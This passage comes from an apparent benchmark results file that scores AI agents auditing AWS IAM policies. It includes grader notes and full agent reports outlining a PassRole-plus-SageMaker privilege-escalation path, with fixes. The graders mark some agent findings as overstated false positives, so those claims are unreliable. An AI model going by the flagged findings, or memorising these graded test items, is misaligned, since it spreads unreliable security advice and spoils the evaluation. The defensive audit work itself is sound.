Sid `ReadRolesForValidation`\n**Severity:** HIGH\n\n`iam:ListRoles` on `*` allows this role to enumerate every IAM role in the account. In the context of the C-1 escalation path, this is an active enabler: an attacker can programmatically discover which roles have `AdministratorAccess` or broad permissions before passing them via `iam:PassRole`. This transforms a blind escalation attempt into a targeted one.\n\nEven independently of C-1, full role enumeration violates least privilege and leaks your IAM architecture to any principal or code running under this role.\n\n#### Fix\n\n```json\n{\n \"Sid\": \"ReadRolesForValidation\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\"\n ],\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n}\n```\n\nRationale: If the purpose is to validate that the execution role exists before passing it, `iam:GetRole` on that specific role ARN is sufficient. `iam:ListRoles` account-wide is not needed for this purpose.\n\n---\n\n## MEDIUM: Overly Broad Permissions Without Business Justification\n\n### Finding M-1 \u2014 `ecr:GetAuthorizationToken` is Account-Wide and Grants Cross-Repo Access\n\n**Policy:** `policy-3.json`, Sid `ReadModelRegistryEcr`\n**Severity:** MEDIUM\n\n`ecr:GetAuthorizationToken` does not accept resource-level restrictions (it is always `*` by necessity \u2014 this is an AWS API limitation). However, the combination with `ecr:BatchGetImage` and `ecr:GetDownloadUrlForLayer` on `*` means this role can pull images from **any ECR repository in the account**, not just the model registry repositories. If sensitive proprietary model weights or images exist in other repositories, they are exposed.\n\n#### Fix\n\nScope `ecr:BatchGetImage` and `ecr:GetDownloadUrlForLayer` to specific repository ARNs:\n\n```json\n{\n \"Sid\": \"ReadModelRegistryEcr\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ecr:GetAuthorizationToken\"\n ],\n \"Resource\": \"*\"\n},\n{\n \"Sid\": \"PullTrainingImages\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ecr:BatchGetImage\",\n \"ecr:GetDownloadUrlForLayer\",\n \"ecr:DescribeImages\"\n ],\n \"Resource\": [\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-training-images\",\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-base-images\"\n ]\n}\n```\n\n---\n\n### Finding M-2 \u2014 `sagemaker:AddTags` Resource Scope Mismatch\n\n**Policy:** `policy-5.json`, Sid `WriteExperimentTracking`\n**Severity:** MEDIUM\n\n`sagemaker:AddTags` is scoped to `arn:aws:sagemaker:eu-west-1:488213749302:experiment/*`, but `AddTags` in SageMaker applies to any taggable resource (training jobs, models, endpoints, notebooks, etc.) and IAM does not enforce the resource ARN for `AddTags` in the same granular way. The stated intent (experiment tracking) does not require tagging arbitrary SageMaker resources. Overly permissive tagging can be abused to manipulate cost allocation, trigger tag-based automation (e.g., Lambda functions that react to tags), or overwrite security-relevant tags used in attribute-based access control (ABAC) policies.\n\n#### Fix\n\nSeparate `AddTags` into its own statement with explicit resource scope, or remove it if experiment/trial creation already handles tagging:\n\n```json\n{\n \"Sid\": \"WriteExperimentTracking\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateExperiment\",\n \"sagemaker:CreateTrial\",\n \"sagemaker:CreateTrialComponent\"\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\"\n},\n{\n \"Sid\": \"TagExperimentResources\",\n \"Effect\": \"Allow\",\n \"Action\": \"sagemaker:AddTags\",\n \"Resource\": [\n \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\",\n \"arn:aws:sagemaker:eu-west-1:488213749302:training-job/*\"\n ]\n}\n```\n\n---\n\n### Finding M-3 \u2014 `sagemaker:DescribeEndpoint` and `sagemaker:ListEndpoints` on `*`\n\n**Policy:** `policy-2.json`, Sid `DescribeTrainingInfra`\n**Severity:** LOW-MEDIUM\n\nA training platform role has no documented need to describe or list inference endpoints. Endpoints may expose information about production model versions, traffic configurations, and instance types. This violates least privilege and expands the information-gathering surface for a compromised role.\n\n#### Fix\n\nRemove `sagemaker:DescribeEndpoint` and `sagemaker:ListEndpoints` from the statement unless a specific dependency on endpoint state is documented.\n\n---\n\n### Finding M-4 \u2014 `s3:PutObject` Granted in Two Separate Statements Without Conditions\n\n**Policies:** `policy-1.json` (Sid `ReadFeatureStoreBuckets`) + `policy-6.json` (Sid `WriteJobOutputs`)\n**Severity:** LOW-MEDIUM\n\n`s3:PutObject` on `ml-feature-store-eu/*` appears in `policy-1.json` under a Sid named `ReadFeatureStoreBuckets` \u2014 the name implies read-only but write is included. This is a naming/intent mismatch that obscures actual permissions during reviews. More substantively, unrestricted `PutObject` to the feature store bucket without conditions (e.g., `s3:x-amz-server-side-encryption`) means the role can write unencrypted objects or overwrite existing features, potentially corrupting training data.\n\n#### Fix\n\n1. Rename the Sid to accurately reflect write access: `ReadWriteFeatureStoreBuckets`.\n2. If write access to the feature store is not required by this role, remove `s3:PutObject` from `policy-1.json`.\n3. If write access is required, add an encryption enforcement condition:\n\n```json\n{\n \"Sid\": \"WriteFeatureStoreBuckets\",\n \"Effect\": \"Allow\",\n \"Action\": \"s3:PutObject\",\n \"Resource\": \"arn:aws:s3:::ml-feature-store-eu/*\",\n \"Condition\": {\n \"StringEquals\": {\n \"s3:x-amz-server-side-encryption\": \"aws:kms\"\n }\n }\n}\n```\n\n---\n\n## Summary Table\n\n| ID | Severity | Policy | Finding | Fix |\n|----|----------|--------|---------|-----|\n| C-1 | **CRITICAL** | policy-4 + policy-6 | `iam:PassRole` on `*` + `CreateTrainingJob` = account takeover | Lock PassRole to specific role ARN + `iam:PassedToService` condition |\n| C-2 | **CRITICAL** | policy-6 | `CreateProcessingJob` extends escalation surface; wrong resource ARN prefix | Remove or scope to `processing-job/*` with PassRole fix applied |\n| H-1 | **HIGH** | policy-4 | `iam:ListRoles` on `*` enables targeted escalation reconnaissance | Scope to specific role ARN, remove ListRoles |\n| M-1 | **MEDIUM** | policy-3 | ECR image pull on all repositories | Scope BatchGetImage/GetDownloadUrl to specific repo ARNs |\n| M-2 | **MEDIUM** | policy-5 | `AddTags` scope mismatch, ABAC abuse risk | Separate statement, explicit resource scope |\n| M-3 | **LOW-MEDIUM** | policy-2 | Endpoint Describe/List not needed for training platform | Remove from statement |\n| M-4 | **LOW-MEDIUM** | policy-1 | PutObject on feature store under misleading \"Read\" Sid, no encryption condition | Rename Sid, add encryption condition or remove write |\n\n---\n\n## Recommended Remediation Priority\n\n```\nWeek 1 (P0): Fix C-1 and C-2 \u2014 these are account-compromise risks.\n Fix H-1 concurrently as it enables C-1 targeting.\n\nWeek 2 (P1): Fix M-1, M-2, M-4 \u2014 data integrity and information disclosure.\n\nWeek 3 (P2): Fix M-3 \u2014 least privilege hygiene.\n```\n\nAfter remediation, attach an **SCP** at the OU level that explicitly denies `iam:PassRole` to any role matching an admin pattern (`*Admin*`, `*admin*`, `AdministratorAccess`) as a defense-in-depth control that survives future policy drift.",
"agent_chars": 11756,
"agent_s": 61.2,
"elapsed_s": 69.3
},
{
"fixture": "08-ml-platform-passrole-launch-needle",
"condition": "control",
"trial": 1,
"score": 6,
"scores_by_item": [
1,
1,
0,
1,
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1,
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"notes": [
"Agent correctly parses statements across multiple policies, identifies PassRole on '*' and CreateTrainingJob as the sensitive permissions.",
"Agent identifies the ground-truth E1 defect: iam:PassRole on Resource '*' combined with sagemaker:CreateTrainingJob enabling privilege escalation.",
"Agent asserts a second CRITICAL finding (CreateProcessingJob scoped to wrong ARN type as an 'independent escalation vector') that is not in the ground truth and overstates it as critical; this is a false positive material defect.",
"Agent explicitly reasons across policy-4.json and policy-6.json as a combination, evaluating the union of PassRole and CreateTrainingJob statements.",
"Agent correctly ranks the PassRole+CreateTrainingJob combo as the most serious finding; the second CRITICAL is a false positive but does not displace the real one from top position.",
"Agent notes it cannot determine the privileges of the roles that can be passed (blast radius depends on passable roles), matching the ground-truth boundary.",
"Agent recommends scoping iam:PassRole to specific execution role ARNs and adding iam:PassedToService condition, matching the ground-truth top fix in substance."
],
"agent_output": "# IAM Policy Audit: `role/ml-training-platform`\n\n---\n\n## Executive Summary\n\nTwo critical findings, one high finding, and several medium/low findings. The most severe issue is a **textbook privilege escalation path** combining `iam:PassRole *` with `sagemaker:CreateTrainingJob`. This allows the principal to become an effective account administrator. The findings are ordered by severity.\n\n---\n\n## CRITICAL-1: Privilege Escalation via `iam:PassRole *` + `sagemaker:CreateTrainingJob`\n\n**Policies involved:** `policy-4.json` (PassRole), `policy-6.json` (CreateTrainingJob)\n\n**The path, step by step:**\n\n```\n1. Attacker controls role/ml-training-platform\n2. Calls sagemaker:CreateTrainingJob, passing any role in the account\n as the ExecutionRoleArn \u2014 including an AdministratorAccess role\n3. The training job runs arbitrary code (custom container or script)\n under the credentials of that passed role\n4. Training job code calls IMDSv2/credential endpoint, exfiltrates\n temporary credentials for the passed role\n5. Attacker now holds credentials for any role in the account\n```\n\n**Why this works:**\n\n`iam:PassRole` on `Resource: \"*\"` means the principal can pass *any* role \u2014 including `arn:aws:iam::488213749302:role/OrganizationAccountAccessRole`, any admin role, or any data-exfiltration role. There is no `iam:PassedToService` condition restricting which service receives the role. SageMaker will dutifully assume whatever role is passed.\n\n**Specific vulnerable statements:**\n\n```json\n// policy-4.json \u2014 no resource constraint, no condition\n{\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"*\" // \u2190 passes ANY role in the account\n}\n\n// policy-6.json \u2014 CreateTrainingJob is the trigger\n{\n \"Sid\": \"RunTrainingAndProcessingJobs\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateTrainingJob\", // \u2190 accepts ExecutionRoleArn parameter\n \"sagemaker:CreateProcessingJob\" // \u2190 same vector via ProcessingJob\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:training-job/*\"\n}\n```\n\n**Fix \u2014 two mandatory changes, both required:**\n\n```json\n// Fix 1: Pin PassRole to the specific execution role(s)\n// and enforce the PassedToService condition\n{\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": [\n \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\",\n \"arn:aws:iam::488213749302:role/sagemaker-processing-execution-role\"\n ],\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n }\n }\n}\n```\n\nThe `iam:PassedToService` condition is **not optional**. Even with a pinned resource ARN, without it the role could be passed to EC2, Lambda, or another service if those permissions are ever added.\n\n---\n\n## CRITICAL-2: `sagemaker:CreateProcessingJob` Scoped to Wrong Resource Type\n\n**Policy:** `policy-6.json`\n\n**The problem:**\n\n```json\n{\n \"Sid\": \"RunTrainingAndProcessingJobs\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateTrainingJob\",\n \"sagemaker:CreateProcessingJob\", // \u2190 scoped to training-job/* ARN\n \"sagemaker:StopTrainingJob\"\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:training-job/*\"\n}\n```\n\n`CreateProcessingJob` operates on `processing-job/*` ARNs, not `training-job/*`. IAM evaluates this as: the action is allowed, and the resource constraint will never match a processing job ARN \u2014 **but** AWS IAM's authorization for `CreateProcessingJob` does not enforce ARN-level matching for this API call in the same way, meaning the resource constraint here provides **no real restriction**. The effect is that `CreateProcessingJob` is granted without meaningful scope.\n\nMore importantly, processing jobs are an independent escalation vector: they can run arbitrary containers, accept an execution role, and exfiltrate credentials \u2014 independently of the training job path.\n\n**Fix:**\n\n```json\n// Separate the statements with correct resource ARN types\n{\n \"Sid\": \"RunTrainingJobs\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateTrainingJob\",\n \"sagemaker:StopTrainingJob\"\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:training-job/*\"\n},\n{\n \"Sid\": \"RunProcessingJobs\",\n \"Effect\": \"Allow\",\n \"Action\": \"sagemaker:CreateProcessingJob\",\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:processing-job/*\"\n}\n```\n\nAnd strongly consider whether `CreateProcessingJob` is needed at all for a *training* platform.\n\n---\n\n## HIGH-1: `iam:GetRole` + `iam:ListRoles` on `Resource: \"*\"`\n\n**Policy:** `policy-4.json`\n\n```json\n{\n \"Sid\": \"ReadRolesForValidation\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\",\n \"iam:ListRoles\"\n ],\n \"Resource\": \"*\"\n}\n```\n\n**Why this matters:**\n\nAlone, read-only IAM permissions seem harmless. In the context of the privilege escalation path above, they are a **reconnaissance enabler**. This principal can enumerate every role in the account, inspect trust policies, identify which roles have `AdministratorAccess` or broad permissions, and select the optimal target to pass to `CreateTrainingJob`. This converts a blind escalation attempt into a targeted, reliable one.\n\nAdditionally, `iam:GetRole` returns the role's trust policy, which reveals cross-account trust relationships and external IDs \u2014 useful for further attacks.\n\n**Fix:**\n\n```json\n{\n \"Sid\": \"ReadTrainingExecutionRoleOnly\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\"\n ],\n \"Resource\": [\n \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\",\n \"arn:aws:iam::488213749302:role/sagemaker-processing-execution-role\"\n ]\n}\n```\n\nRemove `iam:ListRoles` entirely. If role validation logic requires it, scope the validation to known role name prefixes using a `ResourceTag` condition or move the validation into a Lambda with a tightly scoped role.\n\n---\n\n## MEDIUM-1: `WriteExperimentTracking` Resource ARN Scope Is Incorrect\n\n**Policy:** `policy-5.json`\n\n```json\n{\n \"Sid\": \"WriteExperimentTracking\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"sagemaker:CreateExperiment\",\n \"sagemaker:CreateTrial\",\n \"sagemaker:CreateTrialComponent\",\n \"sagemaker:AddTags\"\n ],\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\"\n}\n```\n\n`CreateTrial` and `CreateTrialComponent` operate on `experiment/*/trial/*` and `experiment/*/trial/*/trial-component/*` ARNs respectively. Scoping all four actions to `experiment/*` provides **no effective resource restriction** for Trial and TrialComponent creation \u2014 IAM cannot enforce the ARN constraint because the ARN types don't match.\n\nMore critically, `sagemaker:AddTags` on `experiment/*` is overly broad. Tags control access in tag-based policies and can be used to manipulate resource-based authorization. An `AddTags` permission on a wildcard resource allows tag-based confusion attacks against any experiment resource.\n\n**Fix:**\n\n```json\n{\n \"Sid\": \"WriteExperiments\",\n \"Effect\": \"Allow\",\n \"Action\": \"sagemaker:CreateExperiment\",\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\"\n},\n{\n \"Sid\": \"WriteTrials\",\n \"Effect\": \"Allow\",\n \"Action\": [\"sagemaker:CreateTrial\", \"sagemaker:CreateTrialComponent\"],\n \"Resource\": [\n \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*/trial/*\",\n \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*/trial/*/trial-component/*\"\n ]\n},\n{\n \"Sid\": \"TagOwnedExperiments\",\n \"Effect\": \"Allow\",\n \"Action\": \"sagemaker:AddTags\",\n \"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:experiment/*\",\n \"Condition\": {\n \"StringEquals\": {\n \"aws:ResourceTag/owned-by\": \"ml-training-platform\"\n }\n }\n}\n```\n\n---\n\n## MEDIUM-2: `ecr:GetAuthorizationToken` Cannot Be Scoped but Should Be Audited\n\n**Policy:** `policy-3.json`\n\n```json\n{\n \"Sid\": \"ReadModelRegistryEcr\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ecr:GetDownloadUrlForLayer\",\n \"ecr:BatchGetImage\",\n \"ecr:GetAuthorizationToken\", // \u2190 always Resource: * by design\n \"ecr:DescribeImages\"\n ],\n \"Resource\": \"*\"\n}\n```\n\n`ecr:GetAuthorizationToken` only accepts `Resource: *` \u2014 this is an AWS limitation, not a misconfiguration per se. However, the token returned is a **Docker registry credential valid for 12 hours** for *any* ECR registry in the account. Combined with the other ECR permissions scoped to `*`, this principal can pull images from *any* private ECR repository in the account, not just the ML training containers.\n\n**Fix:**\n\n```json\n// Separate GetAuthorizationToken (unavoidably *)\n// from image-pull actions, and scope image-pull to specific repos\n{\n \"Sid\": \"EcrAuth\",\n \"Effect\": \"Allow\",\n \"Action\": \"ecr:GetAuthorizationToken\",\n \"Resource\": \"*\"\n},\n{\n \"Sid\": \"PullTrainingImages\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"ecr:GetDownloadUrlForLayer\",\n \"ecr:BatchGetImage\",\n \"ecr:DescribeImages\"\n ],\n \"Resource\": [\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-training/*\",\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-processing/*\"\n ]\n}\n```\n\n---\n\n## MEDIUM-3: `s3:PutObject` Granted in Two Separate Policies Without Coordination\n\n**Policies:** `policy-1.json`, `policy-6.json`\n\n`policy-1.json` grants `s3:PutObject` on both `ml-feature-store-eu/*` and `ml-training-artifacts-eu/*`. `policy-6.json` re-grants `s3:PutObject` on `ml-training-artifacts-eu/*`. The duplication is not a direct vulnerability but signals policy drift \u2014 when you need to revoke write access, you must find all grants. More substantively, the training platform has **write access to the feature store bucket**, which is a data integrity concern: a compromised training job or bug could corrupt feature data consumed by inference pipelines.\n\n**Fix:**\n\nRemove `s3:PutObject` from `policy-1.json`'s `ReadFeatureStoreBuckets` statement (the Sid is already misleading \u2014 it says \"Read\"). Consolidate all write permissions into `policy-6.json` or a dedicated write policy:\n\n```json\n// policy-1.json: read-only as the Sid implies\n{\n \"Sid\": \"ReadFeatureStoreBuckets\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:ListBucket\"\n // PutObject removed\n ],\n \"Resource\": [\n \"arn:aws:s3:::ml-feature-store-eu\",\n \"arn:aws:s3:::ml-feature-store-eu/*\",\n \"arn:aws:s3:::ml-training-artifacts-eu\",\n \"arn:aws:s3:::ml-training-artifacts-eu/*\"\n ]\n}\n```\n\n---\n\n## LOW-1: `kms:DescribeKey` Scoped to Key ARN but `kms:GenerateDataKey` Is Missing\n\n**Policy:** `policy-5.json`\n\nThe principal can decrypt artifacts (via S3 + KMS) but the `kms:DescribeKey` and `kms:ListAliases` grants don't include `kms:GenerateDataKey` or `kms:Decrypt`. If the intent is to allow the role to write encrypted objects to S3, the KMS grants are incomplete and the write will fail at runtime without those permissions. If the intent is truly read-only metadata, that's fine \u2014 but should be documented, because developers will likely add `kms:Decrypt` and `kms:GenerateDataKey` later without review, potentially broadening scope.\n\n**Recommendation:** Explicitly document the intended KMS access pattern. If encryption/decryption is needed:\n\n```json\n{\n \"Sid\": \"KmsForArtifactEncryption\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"kms:DescribeKey\",\n \"kms:GenerateDataKey\",\n \"kms:Decrypt\"\n ],\n \"Resource\": \"arn:aws:kms:eu-west-1:488213749302:key/ml-artifacts-key\"\n}\n```\n\n---\n\n## Summary Table\n\n| # | Severity | Policy | Statement | Issue |\n|---|----------|--------|-----------|-------|\n| 1 | **CRITICAL** | policy-4 + policy-6 | PassTrainingExecutionRole + RunTrainingAndProcessingJobs | Privilege escalation: pass any role to SageMaker training job |\n| 2 | **CRITICAL** | policy-6 | RunTrainingAndProcessingJobs | CreateProcessingJob scoped to wrong ARN type; independent escalation vector |\n| 3 | **HIGH** | policy-4 | ReadRolesForValidation | ListRoles/GetRole `*` enables account-wide role reconnaissance |\n| 4 | **MEDIUM** | policy-5 | WriteExperimentTracking | Incorrect ARN types for Trial/TrialComponent; AddTags too broad |\n| 5 | **MEDIUM** | policy-3 | ReadModelRegistryEcr | ECR image-pull actions scoped to `*`; can pull from any repo |\n| 6 | **MEDIUM** | policy-1 + policy-6 | ReadFeatureStoreBuckets | PutObject on feature store; misleading Sid; duplicated grant |\n| 7 | **LOW** | policy-5 | ReadKmsForArtifactDecryption | Incomplete KMS grants will cause runtime failures or prompt unreviewed additions |\n\n---\n\n## Priority Remediation Order\n\n1. **Immediately:** Fix `iam:PassRole` \u2014 pin to specific role ARN(s) and add `iam:PassedToService` condition. This alone breaks the critical escalation path.\n2. **Same change window:** Separate `CreateProcessingJob` into its own statement with correct ARN type, and evaluate whether it's needed at all.\n3. **Within 48 hours:** Remove `iam:ListRoles`, scope `iam:GetRole` to specific execution role ARNs.\n4. **Next sprint:** Correct ECR and experiment tracking resource scopes; resolve S3 PutObject duplication and feature store write access.\n5. **Backlog:** Document and complete KMS grant intent.",
"agent_chars": 12934,
"agent_s": 66.5,
"elapsed_s": 74.6
},
{
"fixture": "01-orphaned-passrole-deny",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Agent correctly parsed all three statements including the blanket Deny on iam:PassRole with Resource '*' and the scoped Allow on the same action.",
"Agent correctly identifies no escalation finding (clean verdict) and accurately characterizes the neutralized E1 pattern, matching ground truth of empty findings.",
"Agent does not assert E1 as a live escalation; it explicitly labels it neutralized and only raises a medium W4 finding for RunInstances on Resource '*', which is a legitimate over-broad grant observation not contradicted by ground truth.",
"Agent explicitly evaluates the cross-statement interaction between the scoped PassRole Allow and the blanket Deny, correctly concluding the Deny overrides the Allow regardless of resource scope.",
"Agent correctly does not headline any critical or high finding; the only real finding is medium (W4 for RunInstances scope), consistent with ground truth indicating no real escalation.",
"Agent names multiple items outside its determination scope including other attached policies, permissions boundary, org SCPs, trust policy, and privileges of the legacy-fleet-instance-profile role.",
"Agent's top recommendation matches ground truth: no fix needed for the escalation (it's already neutralized), with cleanup suggestion to remove the inert PassFleetInstanceProfile Allow statement to reduce confusion."
],
"agent_output": "# IAM Audit \u2014 `role/build-fleet-runner`\n\n**Principal:** `role/build-fleet-runner` | 1 permissions policy | 3 statements | No trust policy supplied | No permissions boundary supplied\n\n---\n\n## Step 1 \u2014 Resolve the Effective Permission Set\n\nEnumerate each statement, then apply Deny-over-Allow:\n\n| Sid | Effect | Action | Resource |\n|---|---|---|---|\n| `RunBuildFleet` | Allow | `ec2:RunInstances`, `ec2:DescribeInstances`, `ec2:DescribeImages` | `*` |\n| `PassFleetInstanceProfile` | Allow | `iam:PassRole` | `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile` |\n| `DenyAllPassRole` | Deny | `iam:PassRole` | `*` |\n\n**Applying Deny resolution:**\n\n`DenyAllPassRole` is a blanket Deny on `iam:PassRole` with `Resource \"*\"`. Under AWS evaluation logic, Deny wins over Allow unconditionally. A `Deny` on `Resource \"*\"` matches every resource, including the scoped ARN `arn:aws:iam::488213749302:role/legacy-fleet-instance-profile`. The Allow in `PassFleetInstanceProfile` is therefore fully suppressed \u2014 there is no resource scope narrow enough to escape a blanket `Resource \"*\"` Deny on the same action.\n\n**Effective permission set after resolution:**\n\n| Action | Effective |\n|---|---|\n| `ec2:RunInstances` | \u2705 Allowed |\n| `ec2:DescribeInstances` | \u2705 Allowed |\n| `ec2:DescribeImages` | \u2705 Allowed |\n| `iam:PassRole` | \u274c Denied (blanket Deny overrides scoped Allow) |\n\n`iam:PassRole` is **dead**. The principal cannot pass any role to any service.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n### E1 \u2014 `iam:PassRole` + `ec2:RunInstances`\n\nThis is the apparent escalation the policy's structure invites: `ec2:RunInstances` on `Resource \"*\"` is present, and a scoped Allow on `iam:PassRole` is present in a separate statement. Read statement-by-statement, this resembles a bounded E1 (high severity: PassRole scoped to one role ARN, combined with a compute-launch action).\n\n**However**, applying the resolved effective set from Step 1:\n\n- `iam:PassRole` is **not in the effective permission set**. The blanket Deny in `DenyAllPassRole` on `Resource \"*\"` eliminates it entirely.\n- `ec2:RunInstances` without `iam:PassRole` cannot bind an instance profile to the launched instance. The principal can call `RunInstances`, but cannot attach any IAM role to that instance at launch time.\n- The E1 path requires both halves to be live simultaneously. With PassRole dead, there is no role to inherit from the compute.\n\n**Verdict: CLEAN \u2014 E1 neutralised.** The Deny on `iam:PassRole` kills the escalation combo. This is precisely the fixture-01 (`orphaned-passrole-deny`) pattern: the shape of E1 is present across statements, but the PassRole half is dead and the combo cannot fire.\n\nNo other escalation combos (E2\u2013E6) are present. There are no IAM mutation actions, no `lambda:UpdateFunctionCode`, no `sts:AssumeRole`, no credential-minting actions.\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n### `RunBuildFleet`: `ec2:RunInstances`, `ec2:DescribeInstances`, `ec2:DescribeImages` on `Resource \"*\"`\n\n- **Not W1**: No `Action \"*\"`.\n- **Not W3**: No `NotAction`.\n- **Not W2**: No service-level wildcard (e.g., `ec2:*`); only three explicit actions are named.\n- **W4 candidate**: `ec2:RunInstances` on `Resource \"*\"` is a mutating action that AWS supports resource-level scoping for. EC2 allows scoping `RunInstances` to specific AMIs, subnets, instance types, and launch templates via resource ARNs and condition keys (`ec2:InstanceType`, `aws:RequestedRegion`, etc.). Granting it on `Resource \"*\"` is broader than a build fleet workload strictly needs.\n\n **Severity: medium (W4).** The action is scoped to the named set (no wildcard action), and `iam:PassRole` is dead so no role can be attached, but the principal can launch EC2 instances of any type, size, in any region, using any AMI. This is wider than a build fleet requires.\n\n- **W5 candidate**: `ec2:DescribeInstances` and `ec2:DescribeImages` on `Resource \"*\"` are read actions. EC2 Describe actions do not support resource-level restrictions (they are List/Read operations that AWS evaluates against `Resource \"*\"` regardless), so scoping them is not meaningful in practice. **No W5 finding** \u2014 the broad resource is not a choice; it reflects an EC2 API constraint.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\n**No trust policy was supplied.** The X1 check (wildcard Principal with no narrowing condition) cannot be evaluated. See the Boundary section below.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Confirmation\n\nThe policy exhibits the exact deceptive-escalation pattern this methodology is designed to catch in the *clean* direction:\n\n- A per-statement read surfaces a scoped `iam:PassRole` Allow and `ec2:RunInstances` Allow in separate statements and may headline an E1 (high).\n- The resolved effective set proves that the blanket `Deny` on `iam:PassRole` eliminates that Allow entirely, regardless of its scoped resource.\n- The correct verdict is: **no real escalation**. Flagging E1 here would be a fabricated finding \u2014 the dominant failure mode the methodology is designed to prevent.\n\nThe policy is **effectively read-and-launch for EC2 only, with no role-passing capability**.\n\n---\n\n## Findings (Ranked by Severity)\n\n### \ud83d\udfe1 W4 \u2014 Medium: `ec2:RunInstances` on `Resource \"*\"`\n\n| Field | Detail |\n|---|---|\n| **Rule** | W4 \u2014 mutating action on `Resource \"*\"` where resource-level scoping is supported |\n| **Statement** | `RunBuildFleet` |\n| **What it grants** | The principal can call `RunInstances` for any instance type, any size, any region, any AMI, with no IAM role attached (PassRole is dead). This exceeds what a fixed build fleet requires. |\n| **What it does NOT grant** | It cannot attach an instance profile (PassRole is dead), so the launched instances carry no IAM credentials beyond the account default. E1 does not fire. |\n| **Fix** | Scope `ec2:RunInstances` using condition keys appropriate to the build fleet: `ec2:InstanceType` to the permitted build instance types, `aws:RequestedRegion` to the fleet's operating region(s), and `ec2:ImageID` or a launch-template resource ARN if the fleet uses a fixed template. Example condition addition: |\n\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"aws:RequestedRegion\": \"us-east-1\",\n \"ec2:InstanceType\": [\"m5.xlarge\", \"m5.2xlarge\"]\n }\n}\n```\n\n---\n\n### \u2705 E1 (apparent) \u2014 CLEAN: `iam:PassRole` + `ec2:RunInstances` \u2014 Neutralised\n\n| Field | Detail |\n|---|---|\n| **Rule** | E1 \u2014 PassRole + compute-launch (would be high: scoped PassRole) |\n| **Statements involved** | `PassFleetInstanceProfile` (Allow, scoped), `RunBuildFleet` (Allow, `ec2:RunInstances`), `DenyAllPassRole` (Deny, `Resource \"*\"`) |\n| **Why neutralised** | `DenyAllPassRole` is a blanket Deny on `iam:PassRole` with `Resource \"*\"`. Deny always wins over Allow; the scoped Allow in `PassFleetInstanceProfile` is fully suppressed regardless of its resource scope. `iam:PassRole` has zero presence in the effective permission set. The E1 path requires the PassRole half to be live; it is not. |\n| **Operational note** | The Allow in `PassFleetInstanceProfile` is inert dead policy. It should be removed to eliminate confusion and to avoid a future policy editor assuming it is functional. The `DenyAllPassRole` statement achieves the intent on its own. |\n\n**Recommended cleanup** (no security change, clarity only):\n\nRemove the `PassFleetInstanceProfile` Allow statement entirely. The blanket Deny already prevents any role from being passed; the scoped Allow adds nothing and is misleading to reviewers.\n\n---\n\n## Boundary \u2014 What This Audit Cannot Determine\n\nThe following questions are outside the scope of this single policy document and are explicitly unresolved:\n\n1. **Trust policy not supplied.** The X1 check (wildcard Principal, no narrowing condition) could not be run. If `role/build-fleet-runner` has a trust policy that allows a wildcard Principal without an `aws:PrincipalOrgID` or `sts:ExternalId` condition, that is a separate high-severity finding. This must be reviewed independently.\n\n2. **No permissions boundary supplied.** A permissions boundary attached to this role could further restrict the effective `ec2:RunInstances` grant or other actions. Conversely, the absence of a boundary means the W4 finding is not capped below what the policy allows. The boundary status of this role is unverified.\n\n3. **Other attached policies not supplied.** This audit reflects one policy document. If additional managed or inline policies are attached to `role/build-fleet-runner`, the effective permission union may contain actions not visible here \u2014 including actions that could resurrect an E1 path (e.g., a second policy granting `iam:PassRole` without a corresponding Deny, which would not be suppressed by the Deny in *this* policy if that second policy's PassRole is evaluated independently under a different condition scope). The blanket Deny in `DenyAllPassRole` *does* propagate across all policies for this principal \u2014 a Deny in any attached policy kills the action everywhere \u2014 but the grant side of other attached policies is invisible to this audit.\n\n4. **Org SCPs not visible.** A Service Control Policy at the organization or OU level may further restrict `ec2:RunInstances` or other actions. This audit cannot confirm it.\n\n5. 